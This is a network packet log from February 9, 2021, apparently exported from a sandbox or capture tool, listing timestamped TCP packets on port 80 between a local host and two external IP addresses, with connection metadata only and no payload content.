Feb 9, 2021 11:53:09.842356920 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.842417955 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.842431068 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.842499018 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.842516899 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.842569113 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.842571020 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.842633963 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.842643976 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.842708111 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.842714071 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.842781067 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.842784882 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.842849016 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.842858076 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.842931986 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.842938900 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.842998981 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.843002081 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.843066931 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.843075037 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.843143940 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.843151093 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.843213081 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.843225002 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.843291998 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.843293905 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.843360901 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.843364954 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.843424082 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.843435049 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.843497038 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.846338987 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.846375942 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.846405029 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.846407890 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.846426010 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.846438885 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.846465111 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.846470118 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.846501112 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.846508980 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.846518040 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.846530914 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.846561909 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.846565962 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.846580029 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.846591949 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.846597910 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.846621990 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.846640110 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.846652031 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.846683025 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.846685886 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.846703053 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.846713066 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.846743107 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.846745968 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.846756935 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.846774101 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.846781015 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.846805096 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.846822977 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.846834898 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.846863985 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.846867085 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.846905947 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.846932888 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.849663973 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.849704027 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.849735975 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.849769115 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.849802971 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.849838972 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.849872112 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.849896908 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.849936962 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.849973917 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850007057 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850039959 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850071907 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850106001 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850142956 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850172997 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850209951 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850241899 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850275040 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850310087 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850344896 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850374937 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850410938 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850446939 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850477934 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850509882 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850529909 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.850543976 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850548983 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.850555897 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.850577116 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850606918 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.850611925 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850646019 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850646019 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.850675106 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.850676060 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850712061 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850734949 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.850743055 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.850744009 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850775003 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850776911 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.850788116 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.850807905 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850833893 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.850843906 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850878954 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850879908 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.850888968 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.850914955 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850945950 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.850949049 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.850969076 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.850980997 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.851010084 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.851016998 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.851037025 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.851048946 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.851068020 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.851083994 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.851087093 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.851116896 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.851140022 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.851150990 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.851164103 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.851185083 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.851192951 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.851218939 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.851243973 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.851252079 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.851279020 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.851290941 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.851320982 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.851326942 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.851341009 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.851353884 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.851387978 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.851388931 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.851402044 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.851432085 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.851450920 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.851464987 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.851488113 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.851492882 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.851537943 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.851550102 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.861677885 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.921109915 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:54:51.094175100 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.094440937 CET	49187	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.163544893 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.163578987 CET	80	49187	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.163641930 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.164606094 CET	49187	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.164607048 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.233689070 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.247711897 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.247772932 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.247802973 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.247814894 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.247828007 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.247853994 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.247865915 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.247893095 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.247905970 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.247941017 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.247941971 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.247983932 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.247988939 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.248023033 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.248034000 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.248061895 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.248081923 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.248101950 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.248114109 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.248148918 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.255634069 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.317361116 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.317454100 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.317472935 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.317503929 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.317504883 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.317548037 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.317554951 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.317588091 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.317595959 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.317627907 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.317636013 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.317667007 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.317681074 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.317708969 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.317714930 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.317748070 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.317758083 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.317786932 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.317796946 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.317833900 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.317835093 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.317878962 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.317883968 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.317917109 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.317928076 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.317959070 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.317966938 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.317998886 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.318010092 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.318037033 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.318047047 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.318074942 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.318087101 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.318114042 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.318125010 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.318161964 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.318162918 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.318203926 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.318208933 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.318250895 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.372277021 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.387437105 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.387515068 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.387542009 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.387562037 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.387574911 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.387636900 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.387650967 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.387689114 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.387696028 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.387737989 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.387758970 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.387799978 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.387814999 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.387860060 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.387871981 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.387909889 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.387921095 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.387959957 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.387964964 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388003111 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388004065 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388040066 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388042927 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388079882 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388081074 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388117075 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388118029 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388153076 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388156891 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388192892 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388195992 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388235092 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388243914 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388282061 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388286114 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388324022 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388324022 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388360023 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388362885 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388418913 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388418913 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388456106 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388478994 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388519049 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388528109 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388566971 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388592958 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388600111 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388628960 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388667107 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388690948 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388730049 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388746977 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388783932 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388788939 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388824940 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388828993 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388863087 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388868093 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388899088 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388911009 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.388916016 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388952971 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.388969898 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.389008999 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.389036894 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.389072895 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.389091969 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.389130116 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.389132023 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.389169931 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.389172077 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.389205933 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.441798925 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.441852093 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.441893101 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.441917896 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.441931963 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.441971064 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.442008018 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.458331108 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.458410978 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.458437920 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.458486080 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.458489895 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.458528996 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.458533049 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.458570957 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.458576918 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.458619118 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.458619118 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.458657026 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.458662987 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.458695889 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.458697081 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.458736897 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.458736897 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.458775043 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.458780050 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.458812952 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.458817005 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.458851099 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.458854914 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.458892107 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.458899021 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.458940029 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.458940983 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.458978891 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.458983898 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459017038 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459018946 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459055901 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459059000 CET	49186	80	192.168.2.22	80.208.230.180
